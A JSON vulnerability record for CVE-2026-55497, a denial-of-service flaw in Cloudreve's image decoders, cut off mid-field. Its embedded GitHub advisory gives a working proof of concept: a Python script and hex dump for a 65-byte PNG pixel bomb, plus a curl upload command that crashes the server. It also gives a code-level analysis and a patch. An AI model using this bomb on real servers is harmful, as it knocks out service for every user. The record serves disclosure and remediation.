{"id":"CVE-2026-55497","aliases":["EUVD-2026-51392","GHSA-g9j2-8w95-3vwv","GO-2026-6100","SUSE-SU-2026:23625-1","openSUSE-SU-2026:21761-1"],"status":"published","title":"Cloudreve: Server crash through image decompression/pixel bomb in thumbnail \u0026 avatar decoding (DoS)","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the built-in thumbnail and avatar image decoders limit compressed file size but do not limit decoded pixel dimensions, allowing an authenticated user to submit a small PNG, JPEG, or GIF that triggers an unbounded allocation and terminates the Cloudreve process through fatal out-of-memory behavior. This issue is fixed in version 4.17.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0053,"percentile":0.45298,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-409","CWE-770"],"published":"2026-07-24T20:48:10Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","fixed_in":["4.0.0-20260613024411-3607f79bb44c"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0-20260613024411-3607f79bb44c"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.0.0-20250225100611-da4e44b77af4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0-20260613024411-3607f79bb44c"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.0.0-20250225100611-da4e44b77af4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0-20260613024411-3607f79bb44c"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"cloudreve","product":"cloudreve"}],"references":[{"url":"https://github.com/cloudreve/cloudreve/security/advisories/GHSA-g9j2-8w95-3vwv","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/cloudreve/cloudreve/commit/3607f79bb44c35d0be4fa8b6e24c0502b51415a9","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/cloudreve/cloudreve/releases/tag/4.17.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-g9j2-8w95-3vwv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55497.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55497","tags":["advisory"]},{"url":"https://github.com/cloudreve/cloudreve","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55497","title":"Cloudreve: Server crash through image decompression/pixel bomb in thumbnail \u0026 avatar decoding (DoS)","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the built-in thumbnail and avatar image decoders limit compressed file size but do not limit decoded pixel dimensions, allowing an authenticated user to submit a small PNG, JPEG, or GIF that triggers an unbounded allocation and terminates the Cloudreve process through fatal out-of-memory behavior. This issue is fixed in version 4.17.0.","status":"published","published":"2026-07-31T03:28:59.171Z","modified":"2026-07-31T15:58:48.793Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-409","CWE-770"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-51392","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the built-in thumbnail and avatar image decoders limit compressed file size but do not limit decoded pixel dimensions, allowing an authenticated user to submit a small PNG, JPEG, or GIF that triggers an unbounded allocation and terminates the Cloudreve process through fatal out-of-memory behavior. This issue is fixed in version 4.17.0.","status":"published","published":"2026-07-31T03:28:59Z","modified":"2026-07-31T15:58:48Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T18:02:25.856077Z"}],"ghsa":[{"id":"GHSA-g9j2-8w95-3vwv","title":"Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server","description":"## Summary\n\nCloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards **only the compressed file size** — never the *decoded* pixel dimensions. Go's decoders allocate a pixel buffer sized `bytesPerPixel × width × height` taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, …)`), exhausting memory. The resulting out-of-memory condition is a **fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch**, terminating the whole Cloudreve process for all users.\n\nTwo reachable sinks share the same root cause:\n\n1. **Avatar upload** (`PUT /api/v4/user/setting/avatar`) — decodes synchronously in the request handler. Any authenticated user. **Cleanest single-request PoC.**\n2. **Thumbnail generation** (built-in generator, **enabled by default**) — decodes in the thumbnail queue worker. Reachable for the user's own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link.\n\nPost-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.\n\n### Details\n### Root cause — decode guarded by file size, not pixel count\n\nThe built-in generator is the **default** image thumbnailer:\n\n```go\n// inventory/setting.go  @ 26b6b10\n\"thumb_builtin_enabled\":   \"1\",         // ON by default\n\"thumb_builtin_max_size\":  \"78643200\",  // 75 MB — a *file size* cap\n\"thumb_vips_enabled\":      \"0\",         // libvips (which has its own limits) OFF by default\n...\n\"avatar_size\":             \"4194304\",   // 4 MB — a *file size* cap\n```\n`Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:\n\n```go\n// pkg/thumb/builtin.go:144-152  @ 26b6b10\nfunc (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {\n    if es.Entity().Size() \u003e b.settings.BuiltinThumbMaxSize(ctx) {   // 75 MB compressed-size check ONLY\n        return nil, fmt.Errorf(\"file is too big: %w\", ErrPassThrough)\n    }\n    img, err := NewThumbFromFile(es, ext)   // \u003c-- decode; allocation happens here\n    ...\n}\n\n// pkg/thumb/builtin.go:34-60  @ 26b6b10\nfunc NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n    switch ext {\n    case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n    case \"gif\":         img, err = gif.Decode(file)\n    case \"png\":         img, err = png.Decode(file)   // \u003c-- unbounded allocation\n    ...\n    }\n}\n```\n\nThere is **no `image.DecodeConfig` pre-check** and **no dimension/pixel cap** anywhere on the path. The only `Bounds()`/`MaxWidth` references in the package (`builtin.go:70,92,125`, `avatar_size_l=200`) act on the *already-decoded* image and are the *output* resize target — they execute long after the oversized input buffer has been allocated.\n\n### Why the allocation is unbounded (Go stdlib `image/png`)\n\nGo's PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values — there is no maximum:\n\n```go\n// Go src/image/png/reader.go — parseIHDR\nw := int32(binary.BigEndian.Uint32(d.tmp[0:4]))\nh := int32(binary.BigEndian.Uint32(d.tmp[4:8]))\nif w \u003c= 0 || h \u003c= 0 { return FormatError(\"non-positive dimension\") }   // only guard\nd.width, d.height = int(w), int(h)\n```\n\nOn the first IDAT, `readImagePass` allocates the destination image **before** consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):\n\n```go\n// Go src/image/png/reader.go — readImagePass\nnrgba = image.NewNRGBA(image.Rect(0, 0, width, height))   // make([]uint8, 4*width*height)\n```\n\n`image.NewNRGBA` → `pixelBufferLength` → `mul3NonNeg(4, w, h)` only guards against *integer overflow* (returns −1, which panics), not against huge-but-valid sizes. So any `4·w·h` that fits in an `int` and is below the runtime's `maxAlloc` (~2⁴⁸ on amd64) proceeds to `make([]uint8, 4·w·h)`. The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.\n\n`jpeg.Decode` (allocates the `YCbCr`/`RGBA` buffer from the SOF/SOS dimensions, max 65535×65535 → up to ~17 GB) and `gif.Decode` (allocates from the logical-screen / frame dimensions) are affected the same way.\n\n### Why this is a fatal crash, not a handled error\n\nFor realistic bomb sizes (GBs–hundreds of GBs, all `\u003c maxAlloc`), `make` proceeds and the process dies by one of:\n- **Kernel OOM-killer** sends SIGKILL when the touched pages can't be backed — not catchable by anything; or\n- the Go runtime **`throw(\"out of memory\")`** — a *fatal* error, **not** a recoverable `panic`, so `gin.Recovery()` does not save it.\n\n(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)\n\n### Reachability of each sink\n\n**Avatar (synchronous, in the HTTP handler):**\n\n```go\n// routers/router.go:1269  @ 26b6b10  (under auth.Use(LoginRequired()) → user group)\nsetting.PUT(\"avatar\", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)\n\n// service/user/setting.go:158-217  @ 26b6b10\nfunc UpdateUserAvatar(c *gin.Context) error {\n    ...\n    if c.Request.ContentLength == -1 || c.Request.ContentLength \u003e avatarSettings.MaxFileSize { // 4 MB cap\n        return ...CodeFileTooLarge\n    }\n    return updateAvatarFile(c, u, c.GetHeader(\"Content-Type\"), c.Request.Body, avatarSettings)\n}\nfunc updateAvatarFile(...) error {\n    ext := \"png\"\n    switch contentType { case \"image/jpeg\",\"image/jpg\": ext=\"jpg\"; case \"image/gif\": ext=\"gif\" }\n    avatar, err := thumb.NewThumbFromFile(file, ext)   // \u003c-- decode of attacker bytes; no dim check\n    ...\n}\n```\n\nA 65-byte PoC trivially satisfies the 4 MB `ContentLength` cap.\n\n**Thumbnail (queue worker, in-process):** `manager.Thumbnail` → `SubmitAndAwaitThumbnailTask` → `generateThumb` → `pipeline.Generate` (`pkg/filemanager/manager/thumbnail.go:128-145`, `pkg/thumb/pipeline.go:86`). The pipeline tries the **enabled-by-default** built-in generator for `png/jpg/gif` (other generators return `ErrPassThrough` for those extensions). Triggered via `GET /api/v4/file/thumb?uri=…` for the user's own files, and the same generation runs for files reached through a share (`NavigatorCapabilityGenerateThumb`), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.\n\n## Proof of Concept\n\n### The bomb (65 bytes — included as `pixelbomb.png`)\n\nGenerated with:\n\n```python\nimport struct, zlib, binascii\ndef chunk(t,d):\n    c=t+d; return struct.pack(\"\u003eI\",len(d))+c+struct.pack(\"\u003eI\",binascii.crc32(c)\u00260xffffffff)\nsig=b'\\x89PNG\\r\\n\\x1a\\n'\nW,H=0x7FFFFFFF,0x10                       # 2147483647 x 16\nihdr=struct.pack(\"\u003eIIBBBBB\",W,H,8,6,0,0,0)  # 8-bit, colour-type 6 (RGBA)\npng=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'')\nopen('pixelbomb.png','wb').write(png)\n# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)\n```\n\nHex (entire file):\n\n```\n8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR\n7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..\ne300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......\n0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`\n82\n```\n(Dimensions are tunable: `4·W·H` must stay `\u003c 2⁶³` to avoid the overflow→panic branch and `\u003c maxAlloc`. `2147483647 × 16` → 128 GiB reliably OOM-kills any host; shrink `H` for smaller targets.)\n\n### Trigger (avatar — single request)\n\n```bash\nbase=https://host/api/v4\ncurl -s -X PUT \"$base/user/setting/avatar\" \\\n     -H \"Authorization: Bearer $TOK\" \\\n     -H 'Content-Type: image/png' \\\n     --data-binary @pixelbomb.png\n```\n\n### Observable result\n\n```\n# Either the kernel OOM-killer terminates the process:\n#   dmesg: \"Out of memory: Killed process \u003cpid\u003e (cloudreve)\"\n# or the Go runtime aborts fatally:\n#   fatal error: runtime: out of memory\n# The Cloudreve process exits; all users get connection-refused until restart.\n```\n## Impact\n\n- **Direct primitive**: full availability loss — the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.\n- **Persistence / repeatability**: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.\n- **Amplification**: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.\n- **No special privilege**: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.\n\n## Suggested Mitigation\n\nCap **decoded pixel dimensions** before fully decoding, in addition to the existing file-size cap. Use `image.DecodeConfig` (reads only the header) and reject images whose `width × height` (or either dimension) exceeds a configurable limit; apply it in `NewThumbFromFile` so both the thumbnail and avatar paths are covered.\n\n```diff\n--- a/pkg/thumb/builtin.go\n+++ b/pkg/thumb/builtin.go\n@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n-    var err error\n-    var img image.Image\n-    switch ext {\n+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable\n+    // Peek header-only to reject pixel/decompression bombs before allocation.\n+    var hdrBuf bytes.Buffer\n+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, \u0026hdrBuf))\n+    if err != nil {\n+        return nil, fmt.Errorf(\"failed to read image config: %w (%w)\", err, ErrPassThrough)\n+    }\n+    if int64(cfg.Width)*int64(cfg.Height) \u003e maxPixels {\n+        return nil, fmt.Errorf(\"image dimensions too large (%dx%d): %w\", cfg.Width, cfg.Height, ErrPassThrough)\n+    }\n+    file = io.MultiReader(\u0026hdrBuf, file) // replay consumed header bytes\n+    var img image.Image\n+    switch ext {\n         case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n         case \"gif\":         img, err = gif.Decode(file)\n         case \"png\":         img, err = png.Decode(file)\n```\n\nAdditionally:\n- Apply the same pixel cap to the avatar path (covered automatically if it routes through `NewThumbFromFile`, as it does).\n- Consider running image decoding in a memory-limited child process / with `debug.SetMemoryLimit` + a `GOMEMLIMIT`-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.\n\nWhy sufficient: `DecodeConfig` parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.","status":"published","published":"2026-07-24T20:48:10Z","modified":"2026-07-24T20:48:12Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400","CWE-409","CWE-770"],"updated_at":"2026-11-02T14:40:52.46233Z"}],"nvd":[{"id":"CVE-2026-55497","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the built-in thumbnail and avatar image 